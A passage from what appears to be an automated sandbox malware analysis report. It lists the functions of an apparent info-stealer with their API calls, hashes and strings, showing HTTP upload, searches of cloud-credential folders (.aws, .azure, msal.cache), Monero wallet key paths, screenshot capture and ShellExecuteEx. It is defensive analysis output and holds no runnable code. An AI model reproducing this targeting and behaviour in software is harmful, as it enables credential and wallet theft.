                                    • Instruction Fuzzy Hash: DED13DB2D00248AFCB04FBE1DD96EEE7379AF15700F508558F506A6091EE70BA49DB61
                                    Function 00CD59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CD4889
                                      • Part of subcall function 00CD4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CD4899
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CD5A48
                                    • StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD5A63
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CD5BE3
                                    • lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0159E470,00000000,?,01599D08,00000000,?,00CF1B4C), ref: 00CD5EC1
                                    • lstrlen.KERNEL32(00000000), ref: 00CD5ED2
                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00CD5EE3
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CD5EEA
                                    • lstrlen.KERNEL32(00000000), ref: 00CD5EFF
                                    • lstrlen.KERNEL32(00000000), ref: 00CD5F28
                                    • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CD5F41
                                    • lstrlen.KERNEL32(00000000,?,?), ref: 00CD5F6B
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CD5F7F
                                    • InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00CD5F9C
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD6000
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD600D
                                    • HttpOpenRequestA.WININET(00000000,0159E560,?,0159D9F8,00000000,00000000,00400100,00000000), ref: 00CD5C48
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD6017
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
                                    • String ID: "$"$------$------$------
                                    • API String ID: 874700897-2180234286
                                    • Opcode ID: 16f1fc5234ee805428412b63eb85278492c31be95cdccff3dfbd926b2624a456
                                    • Instruction ID: 25fecc90249e9bdaedc8f8973587c47cf523c8d58612498127975a7a62028a1e
                                    • Opcode Fuzzy Hash: 16f1fc5234ee805428412b63eb85278492c31be95cdccff3dfbd926b2624a456
                                    • Instruction Fuzzy Hash: ED12E8B2D20158AFCB15EBA1DCA6FEEB379BF14700F1141A9B10662191EF703A48DF65
                                    Function 00CDCFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CDD083
                                    • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00CDD1C7
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CDD1CE
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD308
                                    • lstrcat.KERNEL32(?,00CF1570), ref: 00CDD317
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD32A
                                    • lstrcat.KERNEL32(?,00CF1574), ref: 00CDD339
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD34C
                                    • lstrcat.KERNEL32(?,00CF1578), ref: 00CDD35B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD36E
                                    • lstrcat.KERNEL32(?,00CF157C), ref: 00CDD37D
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD390
                                    • lstrcat.KERNEL32(?,00CF1580), ref: 00CDD39F
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD3B2
                                    • lstrcat.KERNEL32(?,00CF1584), ref: 00CDD3C1
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CDD3D4
                                    • lstrcat.KERNEL32(?,00CF1588), ref: 00CDD3E3
                                      • Part of subcall function 00CEAB30: lstrlen.KERNEL32(00CD4F55,?,?,00CD4F55,00CF0DDF), ref: 00CEAB3B
                                      • Part of subcall function 00CEAB30: lstrcpy.KERNEL32(00CF0DDF,00000000), ref: 00CEAB95
                                    • lstrlen.KERNEL32(?), ref: 00CDD42A
                                    • lstrlen.KERNEL32(?), ref: 00CDD439
                                      • Part of subcall function 00CEAD80: StrCmpCA.SHLWAPI(00000000,00CF1568,00CDD2A2,00CF1568,00000000), ref: 00CEAD9F
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CDD4B4
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
                                    • String ID:
                                    • API String ID: 1956182324-0
                                    • Opcode ID: 8564cd9b7aaa3b37018af5cc029370c2d73eb09d5274710896468d73e25aae5b
                                    • Instruction ID: 8fb1742d1a629bad2751b215db4192212c17725a3054c796e2bcfba4237d93a5
                                    • Opcode Fuzzy Hash: 8564cd9b7aaa3b37018af5cc029370c2d73eb09d5274710896468d73e25aae5b
                                    • Instruction Fuzzy Hash: 33E12EB2D10248AFCB04FBA1DD96EEE7379AF55301F114558F106B61A1DF31BA08EB62
                                    Function 00CDCA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                    • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0159CD90,00000000,?,00CF1544,00000000,?,?), ref: 00CDCB6C
                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00CDCB89
                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 00CDCB95
                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CDCBA8
                                    • ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00CDCBD9
                                    • StrStrA.SHLWAPI(?,0159CBB0,00CF0B56), ref: 00CDCBF7
                                    • StrStrA.SHLWAPI(00000000,0159CC70), ref: 00CDCC1E
                                    • StrStrA.SHLWAPI(?,0159D3F8,00000000,?,00CF1550,00000000,?,00000000,00000000,?,01598A80,00000000,?,00CF154C,00000000,?), ref: 00CDCDA2
                                    • StrStrA.SHLWAPI(00000000,0159D4D8), ref: 00CDCDB9
                                      • Part of subcall function 00CDC920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00CDC971
                                      • Part of subcall function 00CDC920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00CDC97C
                                    • StrStrA.SHLWAPI(?,0159D4D8,00000000,?,00CF1554,00000000,?,00000000,01598AC0), ref: 00CDCE5A
                                    • StrStrA.SHLWAPI(00000000,015989A0), ref: 00CDCE71
                                      • Part of subcall function 00CDC920: lstrcat.KERNEL32(?,00CF0B47), ref: 00CDCA43
                                      • Part of subcall function 00CDC920: lstrcat.KERNEL32(?,00CF0B4B), ref: 00CDCA57
                                      • Part of subcall function 00CDC920: lstrcat.KERNEL32(?,00CF0B4E), ref: 00CDCA78
                                    • lstrlen.KERNEL32(00000000), ref: 00CDCF44
                                    • CloseHandle.KERNEL32(00000000), ref: 00CDCF9C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
                                    • String ID:
                                    • API String ID: 3744635739-3916222277
                                    • Opcode ID: f4e3d9ec61cc8b0b65855e475d8f1dfb94f6be8647b1689f44fa9b6f8b92cddd
                                    • Instruction ID: 1fb3bbaceaca1951834f4857ee29983b65fc50e79eb3980d7d7d65c0371ef709
                                    • Opcode Fuzzy Hash: f4e3d9ec61cc8b0b65855e475d8f1dfb94f6be8647b1689f44fa9b6f8b92cddd
                                    • Instruction Fuzzy Hash: 3DE10AB2D10148AFCB14EBA5DCA2FEEB779AF54300F0141A9F106A7191EF317A49DB61
                                    Function 00CE84B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • RegOpenKeyExA.ADVAPI32(00000000,0159AD80,00000000,00020019,00000000,00CF05BE), ref: 00CE8534
                                    • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00CE85B6
                                    • wsprintfA.USER32 ref: 00CE85E9
                                    • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00CE860B
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE861C
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00CE8629
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenlstrcpy$Enumwsprintf
                                    • String ID: - $%s\%s$?
                                    • API String ID: 3246050789-3278919252
                                    • Opcode ID: 6f1a0249f4a9ab883d508a273cf1dd53deb12d713ee928c9ae9d3c6dac10bd91
                                    • Instruction ID: 46d006681cc25da8f9df2e765f844f22e784291c288705d2a25acfb0562956c1
                                    • Opcode Fuzzy Hash: 6f1a0249f4a9ab883d508a273cf1dd53deb12d713ee928c9ae9d3c6dac10bd91
                                    • Instruction Fuzzy Hash: FE81FCB191125CAFDB24DB55CD95FEA77B8BB48700F1082D8F109A6190DF716B88DFA0
                                    Function 00CE4FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CE8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CE8F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE5000
                                    • lstrcat.KERNEL32(?,\.azure\), ref: 00CE501D
                                      • Part of subcall function 00CE4B60: wsprintfA.USER32 ref: 00CE4B7C
                                      • Part of subcall function 00CE4B60: FindFirstFileA.KERNEL32(?,?), ref: 00CE4B93
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE508C
                                    • lstrcat.KERNEL32(?,\.aws\), ref: 00CE50A9
                                      • Part of subcall function 00CE4B60: StrCmpCA.SHLWAPI(?,00CF0FC4), ref: 00CE4BC1
                                      • Part of subcall function 00CE4B60: StrCmpCA.SHLWAPI(?,00CF0FC8), ref: 00CE4BD7
                                      • Part of subcall function 00CE4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00CE4DCD
                                      • Part of subcall function 00CE4B60: FindClose.KERNEL32(000000FF), ref: 00CE4DE2
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE5118
                                    • lstrcat.KERNEL32(?,\.IdentityService\), ref: 00CE5135
                                      • Part of subcall function 00CE4B60: wsprintfA.USER32 ref: 00CE4C00
                                      • Part of subcall function 00CE4B60: StrCmpCA.SHLWAPI(?,00CF08D3), ref: 00CE4C15
                                      • Part of subcall function 00CE4B60: wsprintfA.USER32 ref: 00CE4C32
                                      • Part of subcall function 00CE4B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00CE4C6E
                                      • Part of subcall function 00CE4B60: lstrcat.KERNEL32(?,0159E550), ref: 00CE4C9A
                                      • Part of subcall function 00CE4B60: lstrcat.KERNEL32(?,00CF0FE0), ref: 00CE4CAC
                                      • Part of subcall function 00CE4B60: lstrcat.KERNEL32(?,?), ref: 00CE4CC0
                                      • Part of subcall function 00CE4B60: lstrcat.KERNEL32(?,00CF0FE4), ref: 00CE4CD2
                                      • Part of subcall function 00CE4B60: lstrcat.KERNEL32(?,?), ref: 00CE4CE6
                                      • Part of subcall function 00CE4B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00CE4CFC
                                      • Part of subcall function 00CE4B60: DeleteFileA.KERNEL32(?), ref: 00CE4D81
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
                                    • String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
                                    • API String ID: 949356159-974132213
                                    • Opcode ID: 562f6e3b4c89452b180eed6a579e5da193b7f3eb3462ca189b4f6fd5ac3b9f7e
                                    • Instruction ID: 3a7b3b4aea75e75f5a1cb1902e12af9eb2aa7d271a506d058090a2f6cabe3eab
                                    • Opcode Fuzzy Hash: 562f6e3b4c89452b180eed6a579e5da193b7f3eb3462ca189b4f6fd5ac3b9f7e
                                    • Instruction Fuzzy Hash: 5A4180BAA40308A7DB54F7B0EC97FED73385B65700F0045A4B649660C2EEB567C89B92
                                    Function 00CE91A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00CE91FC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateGlobalStream
                                    • String ID: image/jpeg
                                    • API String ID: 2244384528-3785015651
                                    • Opcode ID: 7bdb4ea6956597cd3531e9b912a5601b32591573b182e6e6a390996c59032a40
                                    • Instruction ID: 05253b057b02cc577dedaf258dd7923d5170e0096fba93af7dd2b293f85b943a
                                    • Opcode Fuzzy Hash: 7bdb4ea6956597cd3531e9b912a5601b32591573b182e6e6a390996c59032a40
                                    • Instruction Fuzzy Hash: 1D71CAB1A14208ABDB14EFE5DC85FEEB7B8AF48700F108509F616A7290DB34A904DB60
                                    Function 00CE3080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00CE3415
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00CE35AD
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00CE373A
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
